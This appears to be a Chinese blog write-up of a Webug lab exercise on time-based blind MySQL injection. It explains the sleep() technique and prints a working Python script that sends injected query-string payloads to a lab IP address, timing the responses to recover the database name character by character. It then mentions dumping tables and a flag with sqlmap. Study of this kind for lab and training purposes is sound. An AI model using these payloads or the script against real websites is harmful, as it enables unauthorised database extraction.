MySQL基于时间注入

    延时注入属于盲注技术的一种,它是一种基于时间差异的注入技术。在某些网站屏蔽一般的MySQL注入时,可以通过这种方法所观察所返回的时间来判断是否存在注入点。当存在符合一些条件的时候,就会执行sleep()函数,延时sleep()函数内的参数秒后返回,通过这个原理可以观察语句执行时间来判断是否存在注入点。

这道题是Webug中的中级进阶第5题。


image.png

按照提示,输入在地址栏里输入?type=看看什么情况:
image.png

百度了之后,参考大佬的,输入地址栏如下:


image.png

出现了这个页面(后面测试了,好像就?type=1也可以出现这个页面),证明应该存在注入点。

查看了下注入的命令,如果手动注入的话,得猜很久,参考了大佬的脚本:

import requests,time
payloads="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM0123456789@_.}{,"
#存放跑出的结果
length=0
database=''
table=''
print('开始获取长度')
for l in range(1,21):
    startTime1=time.time()
    url1="http://10.75.13.19/pentest/test/time/?type=1 and  if(length(database())=%d,sleep(3),3)"%(l)
    response1=requests.get(url1)
    if time.time()-startTime1>3:
        length=l;
        print('长度为:'+str(length))

print('开始查询数据库名字')
for d in range(1,length+1):
    for payload in payloads:
        startTime2=time.time()
        url2="http://10.75.13.19/pentest/test/time/?type=1 and  if(substr(database(),'%d',1)='%s',sleep(3),3)"%(d,payload)
        response2=requests.get(url2)#发送请求
        if time.time()-startTime2>3:  #判断是否超过了3秒,从而是否函数sleep(3)
           database+=payload
           print(database)
           break
       
print('数据库名为:'+database)
   

实现的语言为python。payloads的作用是用于匹配字符(应该用于猜解数据库名字的字符)。
url1实现的是猜解出数据库名字的长度。url2实现的是猜解出数据库的名字。跑出的数据库名字为:


image.png

用sqlmap工具对其进去查询表,表中的字段,数值等:

查询表:


image.png

可得出表有:


image.png

接着查询表中字段:
image.png

可以看出有 flag和id字段
再查字段:


image.png

就可以得到最后的flag了。

你可能感兴趣的:(MySQL基于时间注入)